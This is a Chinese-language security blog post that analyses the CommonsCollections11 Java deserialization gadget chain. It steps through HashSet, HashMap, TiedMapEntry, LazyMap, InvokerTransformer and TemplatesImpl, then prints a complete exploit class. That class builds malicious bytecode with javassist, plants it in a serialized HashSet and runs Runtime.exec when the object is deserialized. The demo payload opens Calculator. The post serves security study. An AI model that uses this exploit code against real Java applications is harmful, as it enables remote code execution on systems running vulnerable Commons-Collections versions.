CommonsCollections11利用链

Java安全

利用条件

Commons-Collections 3.1 - 3.2.1版本

不限制JDK版本

利用链

img

Gadget chain:
	java.io.ObjectInputStream.readObject()
		java.util.HashSet.readObject()
			java.util.HashMap.put()
				java.util.HashMap.hash()
					org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
                    org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
						org.apache.commons.collections.map.LazyMap.get()
                            org.apache.commons.collections.functors.InvokerTransformer.transform()
							java.lang.reflect.Method.invoke()
                                ... templates gadgets ...
                                    java.lang.Runtime.exec()

利用链分析

在CC11利用链中,使用了CC2和CC6的一些链,在CC11利用链中反序列化入口类是 HashSet 类,如果不先分析就直接看代码是有点懵的

image-20230821105709707

先放一张整个调用栈的过程图

HashSet

image-20230821092748343

HashSet 类的 readObject 方法中调用了 map 属性的 put() 方法

image-20230821092919451

而这个 map 属性是 private 私有属性,无法直接修改这个 map 属性的值,后期我们通过反射来修改

HashMap

image-20230821093443727

这里就和CC6链差不多了,这里还是主要看 key 我们能不能控制

image-20230821093536570

因为在 HashMap 类中调用了 key 这个对象的 hashCode() 方法

image-20230821094516604

HashMap 类中想要修改 key 的话需要对 table 属性的节点对象数组进行修改,我们需要先获取该 HashMap 类对象的 table 属性的节点对象数组,然后找到某个键值对,再修改这个 key,当然,这个过程是需要反射来操作的

TiedMapEntry

image-20230821094853522

那么,这个 key 设置为和CC6利用链后半部分一样就可以了,设置为 TiedMapEntry 类对象,这样就可以调用到 TiedMapEntry.hashCode() 方法

image-20230821095326958

image-20230821095714870

在实例化 TiedMapEntry 类对象的时候,将 LazyMap 类对象和 TemplatesImpl 类对象作为构造方法的参数即可,如果CC1-CC7都学过了的话,这里都懂哈

LazyMap

image-20230821095546347

image-20230821095953091

image-20230821100023852

同样的,在 LazyMap 类对象 decorate() 方法的时候,就可以对 factory 属性进行赋值,这里只要把 factory 属性的值设置为 InvokerTransformer 类对象即可,map 赋值一个空的 HashMap 就行,因为后面我们用不到

InvokeTransformer

image-20230821100336763

image-20230821101307729

image-20230821101126332

这里要注意一点,我们需要通过反射来修改 InvokerTransformer 类对象的 iMethodName 属性值,因为在序列化时 HashSet 调用 add() 方法就会触发,这样会导致在序列化时就会执行加载的恶意字节码,所以需要通过反射来修改

image-20230821100845619

最后,到了这里就成功执行了加载的恶意字节码,和CC2的前半部分差不多

根据上面分析的,我们大概能写出中间的部分代码

HashSet hashset = new HashSet(1);
hashset.add("a");

// 为了兼容JDK8以下版本
Field mapField;
try{
    mapField = HashSet.class.getDeclaredField("map");
}catch(NoSuchFieldException e){
    mapField = HashSet.class.getDeclaredField("backingMap");
}
mapField.setAccessible(true);
HashMap hashset_Map = (HashMap) mapField.get(hashset);


Field tableField;
try{
    tableField = HashMap.class.getDeclaredField("table");
}catch (NoSuchFieldException e){
    tableField = HashMap.class.getDeclaredField("elementData");
}
tableField.setAccessible(true);
Object[] array = (Object[]) tableField.get(hashset_Map);

Object node = array[0];
if (node == null){
    node = array[1];
}

Field keyField;
try{
    keyField = node.getClass().getDeclaredField("key");
}catch (NoSuchFieldException e){
    keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
}
keyField.setAccessible(true);
keyField.set(node,tiedmap);

Field iMethodNameField = transformer.getClass().getDeclaredField("iMethodName");
iMethodNameField.setAccessible(true);
iMethodNameField.set(transformer,"newTransformer");

JDK8以下版本和JDK8及以后版本的 HashMap 类和 HashSet 类的元素存储方式发生了变化,所以以上代码兼容了JDK8以下版本

利用链EXP编写

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.functors.InvokerTransformer;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;

public class CommonsCollections11 {
    public static void main(String[] args) throws Exception {
        ClassPool classPool = ClassPool.getDefault();
        classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass ctClass = classPool.makeClass("EvilCode");
        ctClass.makeClassInitializer().insertBefore("java.lang.Runtime.getRuntime().exec(\"open  /System/Applications/Calculator.app\");");
        ctClass.setName("EvilCode" + System.nanoTime());
        ctClass.setSuperclass(classPool.get(AbstractTranslet.class.getName()));
        byte[] bytecode = ctClass.toBytecode();
        byte[][] bytecodes = new byte[][]{bytecode};

        TemplatesImpl templates = TemplatesImpl.class.newInstance();

        Class templateImplClass = templates.getClass();
        Field nameField = templateImplClass.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates,"x");

        Field bytecodesField = templateImplClass.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);
        bytecodesField.set(templates,bytecodes);

        InvokerTransformer transformer = new InvokerTransformer("aaa", new Class[]{}, new Object[]{});

        HashMap innermap = new HashMap();
        LazyMap lazyMap = (LazyMap) LazyMap.decorate(innermap,transformer);

        TiedMapEntry tiedmap = new TiedMapEntry(lazyMap,templates);

        HashSet hashset = new HashSet(1);
        hashset.add("a");

        // 为了兼容JDK8以下版本
        Field mapField;
        try{
            mapField = HashSet.class.getDeclaredField("map");
        }catch(NoSuchFieldException e){
            mapField = HashSet.class.getDeclaredField("backingMap");
        }
        mapField.setAccessible(true);
        HashMap hashset_Map = (HashMap) mapField.get(hashset);


        Field tableField;
        try{
            tableField = HashMap.class.getDeclaredField("table");
        }catch (NoSuchFieldException e){
            tableField = HashMap.class.getDeclaredField("elementData");
        }
        tableField.setAccessible(true);
        Object[] array = (Object[]) tableField.get(hashset_Map);

        Object node = array[0];
        if (node == null){
            node = array[1];
        }

        Field keyField;
        try{
            keyField = node.getClass().getDeclaredField("key");
        }catch (NoSuchFieldException e){
            keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
        }
        keyField.setAccessible(true);
        keyField.set(node,tiedmap);

        Field iMethodNameField = transformer.getClass().getDeclaredField("iMethodName");
        iMethodNameField.setAccessible(true);
        iMethodNameField.set(transformer,"newTransformer");

        serialize(hashset);
        deserialize("ser.bin");
    }

    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        objectOutputStream.writeObject(obj);
    }

    public static Object deserialize(String filename) throws IOException, ClassNotFoundException {
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
        return objectInputStream.readObject();
    }
}

Author: wileysec

Permalink: https://wileysec.github.io/ea620075ac0a.html

Comments